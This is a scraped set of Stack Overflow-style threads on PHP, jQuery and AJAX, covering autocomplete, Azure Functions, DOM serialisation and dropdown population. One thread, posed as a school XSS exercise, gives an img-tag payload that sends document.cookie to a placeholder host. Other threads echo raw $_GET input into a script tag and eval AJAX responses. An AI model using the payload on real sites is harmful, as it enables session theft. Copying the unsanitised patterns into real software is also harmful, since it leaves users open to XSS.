I used the auto-complete function in jquery. It's data source are the results from a php-back-end.
$("#ice_id").autocomplete("ice-ver.php", { extraParams : { flavour_id: $("#flavour_id").val() } });
Let us take following example:
We type in the flavour ID 3992 ...(and 3992 exists in the database and is properly returned by the php backend). If we type in now 3992999 the auto-complete function should top showing anything up ...but unfortunately it still does, (could the problem lie within the fact that I am using integers instead of strings or chars?)
Thanks in advance for any hints and
best regards
Daniyal
if it's showing something doesn't that mean there is a result from the php code? Check if it's really how you want it, and if you post it someone might be able to help
I agree with shyam. It seems like your PHP-code returns values. Try to request the PHP-script directly in a browser through the-url-to-php-script?flavour_id=3992999.
There are different autocomplete plugins for jquery. If you instead use the one at jquery ui (http://jqueryui.com/demos/autocomplete) your entered value are automatically passed to the URL-resource as the parameter "term". See if that helps you in pinning down the problem with the PHP-script.
Related
I'm trying out Azure Functions using PHP.
Getting the request information is not working for me.
I've not been able to find any documentation at all with the information of how to use Azure Functions with PHP code.
According to the only couple of examples, it seems that in order to retrieve the input information you need to first get the content of the req variable (or whatever name you assign in the function configuration).
That has the path of the file containing the request information (in theory).
$input_path = getenv('req');
So far, if I check the content of it, I get something like this:
D:\local\Temp\Functions\Binding\e2b6e195-02f7-481b-a279-eef6f82bc7b4\req
If I check if the file exists it says true, but the file size is 0.
Do anyone knows what to do here? Anyone with an example? Does anyone know where the documentation is?
Thanks
Ok, unfortunately there's pretty limited documentation out there for php as you have discovered.
At present, looking at the code might be the best doc. Here is the InitializeHttpRequestEnvironmentVariables function that adds request metadata to the environment for the script languages (node, powershell, php, python).
Important environment variables are:
REQ_ORIGINAL_URL
REQ_METHOD
REQ_QUERY
REQ_QUERY_<queryname>
REQ_HEADERS_<headername>
REQ_PARAMS_<paramname>
I'm assuming you've made a GET request, in which case there is no content (req is an empty file), but you will see that these other environment variables contain request data. If you were to make a POST request with a body then req would have data.
here is a full example parsing a GET request in PHP with an Azure Function :)
https://www.lieben.nu/liebensraum/2017/08/parsing-a-get-request-in-php-with-an-azure-function/
snippet from source:
<?php
//retrieve original GET string
$getReqString = getenv('REQ_QUERY');
//remove the ? for the parse_str function
$getReqString = substr($getReqString,1,strlen($getReqString));
//convert the GET string to an array
$parsedRequest = array();
parse_str($getReqString,$parsedRequest);
//show contents of the new array
print_r($parsedRequest);
//show the value of a GET variable
echo $parsedRequest["code"];
?>
I would like to pass a variable as a value to a website. (Doing a school assignment on XSS)
For example I currently have:
$.cookie('echat') and $.cookie('PHPSESSID')
I would like to pass it into a link say:
xxxx.com/xxx.php?cookie=$.cookie('PHPSESSID')
However, nothing is pass to xxxx.com/xxx.php
Any1 know the syntax to do this?
specifically i am placing a img tag like this to exploit:
< img src='http://xxxxx.com/xxxxx.php?cookie='+document.cookie>
Apparently, document.cookie is not working and I need $.cookie('PHPSESSID') to get the PHPID
Your URL is setting the value of $_GET['cookie'] to $.cookie('PHPSESSID') in your PHP script, nothing more. How that's handled is up to PHP.
Since that looks like JavaScript (specifically, the jQuery Cookie plugin), you could conceivably do echo "<script>{$_GET['cookie']}</script>"; in your PHP to spit it out as JS on the resulting page. As you hopefully know from your classes, blindly using user-submitted data like this is dangerous and a bad idea.
use this php function
url_encode("string")
such as
http://www.xxxxx.com/xxx.php?cookie=<?php echo url_encode("$.cookie('PHPSESSID')"); ?>
I have a function that creates an array that contains the return value from the HTML DOM method : window.document.getElementById()
function makearray1(){
var array1=[1,window.document.getElementById('divID'),['a','b'],[1,2]];
}
then I pass the array into another function
use(array1)
function use(xxx){
xxx[1].innerHTML=xxx[2][0];
}
and 'a' is written in the appropriate div
later I decided to put the array in a form and post it to a txt file on the server using php and:
JSON.stringify(array)
So now I use AJAX to call the data from the txt file after the rest of the page has loaded etc... and the original function used to make the array is not included at all.
so my php is basically this:
$a1='use(';
$data1 =file_get_contents("text_file.txt") ;
$a2=')';
echo $a1.$data1.$a2;
and the response text:
var n= XMLHttpRequestObject.responseText;
eval(n);
which pretty much means this:
use(text_file)
function use(xxx){
xxx[1].innerHTML=xxx[2][0];
}
the problem is that the array in the text file looks like this:
[1,null,['a','b'],[1,2]]
instead of:
[1,window.document.getElementById('divID'),['a','b'],[1,2]]
My question: Is there any way that I can do the equivalent of what I'm trying to do here, which is immediately replicate the return value of the HTML/DOM method in an array using AJAX/php?
To clarify: this is a simple example. I actually have a huge, multidimensional array that already has established pointers, or prefetched DOM nodes in it. Now I'm trying to replicate the array when a text version is loaded using ajax. I'm looking for a recursive approach to changing all of the null assignments with something that will immediately fetch the appropriate DOM node. Most likely I will need to do it with the response text, but was hoping I could do it with the php portion.
You're trying to stringify a reference to a javascript object in the memory of whatever computer is evaluating getElementById first, and that has no chance to represent something on the end client's computer.
Send the id instead:
function makearray1(){
array1=[1,'divID',['a','b'],[1,2]];
}
then, in the client:
function use(xxx){
window.document.getElementById(xxx[1]).innerHTML=xxx[2][0];
}
If you really want to eval it at the end, you can use this, I guess
function makearray1(){
array1=[1,"window.document.getElementById(\"divID\")",['a','b'],[1,2]];
}
I've no idea why you would want to do that though
Assuming the dom element exists in the second page, it should look something like this.
JS:
function packDomData(){
return {
"MySpecificYetBriefProperty0":1,
"DomID":"divID",
"MySpecificYetBriefProperty1":['a','b'],
"MySpecificYetBriefProperty2":[1,2]
};
}
function useDomData(domData){
document.getElementByID(domData.DomID).innerHTML=domData.MySpecificYetBriefProperty1[0];
}
PHP:
//Make sure the contents of this file is the json from packDomData. use json_encode in php or JSON.stringify in js
echo file_get_contents("text_file.txt");
var myData = JSON.parse(XMLHttpRequestObject.responseText);
useDomData(myData);
I used to code like you. Here are some tips that have helped turn my coding horror into a fun job:
Use objects with descriptive properties instead of arrays whenever you aren't actually looping through the array - I promise it will save you and others headache! "DomID" is much more flexible than 1, and if you change the order in the array, javascript gods help you that array is everywhere - including however many random text files on your server!
Also use descriptive names for functions
Always return a value from a function instead of using globals whenever possible, even where the result is then used as a nasty global. Trust me.
Never put javascript function names in an ajax call. Use JSON instead and keep the functions and other script in the javascript file where it belongs.
Mysql will save your life!!
Disclaimer - I didn't run this code but it should basically work when you get everything hooked up right.
I have a project where I need to write text from a database into an HTML5 canvas / Javascript application.
To select this content, I've specified an attribute "reference" where I can ask the database with the content id, for example: index.php?reference=exercise1.
I have used AJAX because I need to get the text content into a Javascript variable in order to write data on canvas.
My solution is working but I need to get the reference attribute value from Javascript document.URL and not PHP $_GET.
Here is the code:
var url = decodeURIComponent(document.URL);
var attr = "reference";
var attrPos = url.lastIndexOf(attr);
var referencePos = attrPos + attr.length + 1;
var reference = url.substr(referencePos,url.length);
What I'm doing seems not to be the clean way to me.
First, ?reference= should be used with PHP $_GET and not be hacked through Javascript.
Then, I have to use lastIndexOf() instead of the search() method in order to get the good value if my application is located in a folder named "reference".
Still, if I have my project in a folder named "reference" with a URI like localhost/reference/projectfolder/index.php and a reference named "projectfolder" in the database, it will load the content even if I have not asked for index.php?reference=projectfolder
From your experience, what is the best solution in my case: be able to get PHP/MySQL data to use with Javascript. Ajax seems to be the best way but as you can see it's not clean, at least my solution.
Thanks for your help.
Still, if I have my project in a folder named "reference" with a URI
like localhost/reference/projectfolder/index.php and a reference named
"projectfolder" in the database, it will load the content even if I
have not asked for index.php?reference=projectfolder
if you want the document to be empty when you are requesting just index.php, check if $_GET["reference"] is set and then return an empty body.
From your experience, what is the best solution in my case: be able to
get PHP/MySQL data to use with Javascript. Ajax seems to be the best
way but as you can see it's not clean, at least my solution.
Check this gist on how to return JSON in your body https://gist.github.com/2627924
I'm pretty new to HTML and javascript. I know this code already exist on internet but I can't have it working for me. I'm stuck on this issue for 2-3 days. I would be really glad if you could help me out.
Here is my problem
I want to populate the optCategory select list based on the selected entry of optPostAppliedFor. For that I called a function change_categoriees(key) when I click the optPostAppliedFor list. The code is here as follows
<tr>
<td width="40%" align="right" nowrap>
<strong>
Post Applied for<span class="text11red">*</span> :
</strong>
</td>
<td width="60%">
<select name="optPostAppliedFor" class="flat" onclick="change_categories(0);" />
<option value="">--Select--</option>
<?php
foreach($App['post_applied_for'] as $key => $val){
echo '<option value="'.($key).'">'.$val.'</option>';
}
?>
</select>
</td>
</tr>
Here is php code for default enteries of optPostAppliedFor and optCategory
$App['post_applied_for'] = array(
'Lecturer' => 'Lecturer',
'Business Analyst' => 'Business Analyst',
'Deepender good' => 'Deepender good'
);
$App['category'] = array(
'Category1' => 'Category1',
'Category2' => 'Category2',
'Category3' => 'Category3'
);
Please tell me how can I make this function, so that my purpose is achieved. I tried this but all in vain.
function change_categoriees(key) {
alert('asdasd');
var z = document.getElementById('optCategory');
var x = document.getElementById('optPostAppliedFor');
var y = document.createElement('option');
var display = x.options[x.selectedIndex].text;
var option = x.options[x.selectedIndex].value;
y.text = display;
y.value = option;
try {
z.add(y,null);
} catch(ex) {
z.add(y);
}
z.options[0].text = '* '+(z.length-1)+' selected *';
}
I'm not really sure, but...
These two lines in your change_categoriees method look problematic:
var z = document.getElementById('optCategory');
var x = document.getElementById('optPostAppliedFor');
For these statements to return some value, your HTML needs to have id attributes with the names optCategory and optPostAppliedFor:
<select id="optPostAppliedFor">
Also note that the PHP code runs on the back end, in the server. There's no way that the javascript running in the browser can call PHP directly.
If I interpret your code correctly, you do have a slight problem : you're putting variable in the PHP code, that you'd like the client (the browser) to use. It's not the way it works. Variable in PHP are only stored on the server-side. So the Javascript (which is on the browser side) cannot use it in any way, if you only store them as variables : they'll be on the server memory, not on the client's. There are two solutions here :
1°) You put the variable you're going to use in the web page that PHP generates. You could go with hidden fields, for instance, and then "unhide" the relevant fields. But if you got a lot of variables, it's not very practical.
2°) You could go with an AJAX solution : basically, the idea is that through Javascript, you call a PHP script that is going to send back information (formatted as pure text, XML or JSON). Here, when the user clicks on the first list, you send a request (POST or GET) where you'll inform the server about the choice of the user. For instance, you'll ask for the categories connected to the "Business Analyst" choice. The PHP script we'll analyse the "post applied for" and send the content of the category list accordingly. Since everything is done through Javascript & PHP, the page will not be reloaded during this time, so it's relatively fluid.
I would recommend the use of a Javascript library to make things a bit easier. JQuery being one of the most popular choice, you will find a lot of help and example on the web.
May be you are searching for AJAX methods? E.g. you send request to some of your PHP files with GET or POST variable for your key (which user selects in optPostAppliedFor) and that PHP script echo'es the needed result, so JS could use it.
For example, with jQuery this would look like this:
$("select[name=optCategory]").load("myUberScript.php", { key: $("select[name=optPostAppliedFor]").attr("selected") });
myUberScript.php:
<?php
$key = $_POST['key'];
if (isset($key))
{
if ($key == 'moo')
echo "<option>moo</option>"; else
if ($key == 'foo')
echo "<option>foo</option>";
}
?>
I think this would be the best way, but i'm really not sure with my .attr("selected") selector. And i recommend you to read something 'bout AJAX and jQuery - these are very useful when web-developing =)
So, what does this JS do? It finds your select tag with name optPostAppliedFor, gets all its 'selected' items (be sure to verify that code - i am not sure about it), sends POST request to myUberScript.php passing that values as $_POST['key'] argument, gets response, finds div named optCategory and sets its inner HTML code to PHP's response. Pretty nice, huh? =)
I recommend this way beacause it is not always good for user to get all the internal data within javascript - user could see that data and if there is a lot of data, the page would load slooowly. Second: you can manage/edit/update/modify (choose the right one) your PHP code whenever you want. Third: PHP code has more features for secure verifying user' data and lots more. But there is one great disadvantage: if user disables JS support in his browser, you would not be able to do this sort of trick. Notice: this is a very rare case when user disables JS =)
As a first problem, in your PHP code, you improperly close the select tag, like this,
<select ... />
...
</select>
That will probably cause some errors. It should be like this, without the extra /,
<select ... >
...
</select>
As another problem, you spell your function call like this,
onclick="change_categories(0);"
but you misspell your function name like this,
function change_categoriees(key) {...}
Notice the extra "e" in "categoriees". So you're not actually calling the function properly.
It looks like other people have some answers too, so I'll just finish by offering some suggestions for dev tools and documentation. For development tools, Firefox Firebug is excellent, it will let you debug css, html, and javascript. I've also heard good things about the development tools in Chrome. In fact, all the newest browser versions have development tools of some sort, and they're all pretty good.
Next, the Mozilla docs are a good resource for web-development. You might also be interested in checking out the resources mentioned at w3fools.com.
Also, in the future, when sharing code on Stack Overflow, you should consider sharing a live example with jsFiddle.
Oh wait, before I forget, you should also use a text editor or an IDE that does syntax highlighting, and maybe even syntax correction, for you. I use a simple text-editor called Notepad++ for Windows, though there are many others.